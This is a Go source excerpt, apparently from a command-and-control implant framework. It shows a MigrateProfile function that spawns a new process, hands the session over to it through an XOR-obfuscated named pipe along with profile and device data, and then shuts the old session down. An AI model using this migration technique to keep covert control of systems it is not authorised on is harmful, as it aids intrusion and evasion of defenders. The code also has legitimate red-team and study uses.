1042 // If 'wait' is true, this will wait for all events to complete before starting 1043 // the Migration process. 1044 // 1045 // The provided JobID will be used to indicate to the server that the associated 1046 // Migration Task was completed, as the new client will send a 'RvResult' with 1047 // the associated JobID once Migration has completed successfully. 1048 // 1049 // The return values for this function are the new PID used and any errors that 1050 // may have occurred during Migration. 1051 func (s *Session) MigrateProfile(wait bool, n string, b []byte, job uint16, t time.Duration, e runnable) (uint32, error) { 1052 if !s.IsClient() { 1053 return 0, xerr.Sub("must be a client session", 0x4E) 1054 } 1055 if s.isMoving() { 1056 return 0, xerr.Sub("migration in progress", 0x4F) 1057 } 1058 if len(n) == 0 { 1059 return 0, xerr.Sub("empty or invalid pipe name", 0x43) 1060 } 1061 var err error 1062 if len(b) == 0 { 1063 // ^ Use our own Profile if one is not provided. 1064 p, ok := s.p.(marshaler) 1065 if !ok { 1066 return 0, xerr.Sub("cannot marshal Profile", 0x50) 1067 } 1068 if b, err = p.MarshalBinary(); err != nil { 1069 return 0, xerr.Wrap("cannot marshal Profile", err) 1070 } 1071 } 1072 if !s.checkProxyMarshal() { 1073 return 0, xerr.Sub("cannot marshal Proxy data", 0x51) 1074 } 1075 if cout.Enabled { 1076 s.log.Info("[%s/Mg8] Starting Migrate process!", s.ID) 1077 } 1078 s.lock.Lock() 1079 if s.state.Set(stateMoving); wait && s.m.count() > 0 { 1080 if cout.Enabled { 1081 s.log.Debug("[%s/Mg8] Waiting for all Jobs to complete..", s.ID) 1082 } 1083 for s.m.count() > 0 { 1084 if time.Sleep(time.Millisecond * 500); cout.Enabled { 1085 s.log.Trace("[%s/Mg8] Waiting for Jobs, left %d..", s.ID, s.m.count()) 1086 } 1087 } 1088 } 1089 if t <= 0 { 1090 t = spawnDefaultTime 1091 } 1092 if err = e.Start(); err != nil { 1093 s.state.Unset(stateMoving) 1094 s.lock.Unlock() 1095 return 0, err 1096 } 1097 if cout.Enabled { 1098 s.log.Debug(`[%s/Mg8] Started PID %d, waiting %s for pipe "%s"..`, s.ID, e.Pid(), t, n) 1099 } 1100 c := spinTimeout(s.ctx, pipe.Format(n+"."+util.Uitoa16(uint64(e.Pid()))), t) 1101 if c == nil { 1102 s.state.Unset(stateMoving) 1103 s.lock.Unlock() 1104 return 0, ErrNoConn 1105 } 1106 if cout.Enabled { 1107 s.log.Debug(`[%s/Mg8] Received connection from "%s"!`, s.ID, c.RemoteAddr().String()) 1108 } 1109 var ( 1110 g = crypto.XOR(n) 1111 w = data.NewWriter(crypto.NewXORWriter(g, c)) 1112 r = data.NewReader(crypto.NewXORReader(g, c)) 1113 ) 1114 if err = w.WriteUint16(job); err != nil { 1115 c.Close() 1116 s.state.Unset(stateMoving) 1117 s.lock.Unlock() 1118 return 0, err 1119 } 1120 if err = w.WriteBytes(b); err != nil { 1121 c.Close() 1122 s.state.Unset(stateMoving) 1123 s.lock.Unlock() 1124 return 0, err 1125 } 1126 if err = s.writeDeviceInfo(infoMigrate, w); err != nil { 1127 c.Close() 1128 s.state.Unset(stateMoving) 1129 s.lock.Unlock() 1130 return 0, err 1131 } 1132 var k uint16 1133 // Set a short arbitrary timeout as we only need to read the "OK" value. 1134 c.SetReadDeadline(time.Now().Add(time.Second * 2)) 1135 if err = r.ReadUint16(&k); err != nil { 1136 c.Close() 1137 s.state.Unset(stateMoving) 1138 s.lock.Unlock() 1139 return 0, err 1140 } 1141 if k != 0x4F4B { // 0x4F4B == "OK" 1142 c.Close() 1143 s.state.Unset(stateMoving) 1144 s.lock.Unlock() 1145 return 0, xerr.Sub("unexpected OK value", 0x45) 1146 } 1147 if s.state.Set(stateClosing); cout.Enabled { 1148 s.log.Debug("[%s/Mg8] Received 'OK' from host, proceeding with shutdown!", s.ID) 1149 } 1150 if s.lock.Unlock(); s.proxy != nil && s.proxy.IsActive() { 1151 _ = s.proxy.Close() 1152 } 1153 s.state.Set(stateClosing) 1154 for s.Wake(); ; { 1155 if time.Sleep(500 * time.Microsecond); s.state.Closed() { 1156 break 1157 } 1158 } 1159 if s.lock.Lock(); cout.Enabled { 1160 s.log.Debug("[%s/Mg8] Got lock, migrate completed!", s.ID) 1161 } 1162 w.WriteUint16(0x4F4B) 1163 c.Close() 1164 e.Release() 1165 close(s.ch) 1166 return e.Pid(), nil 1167 }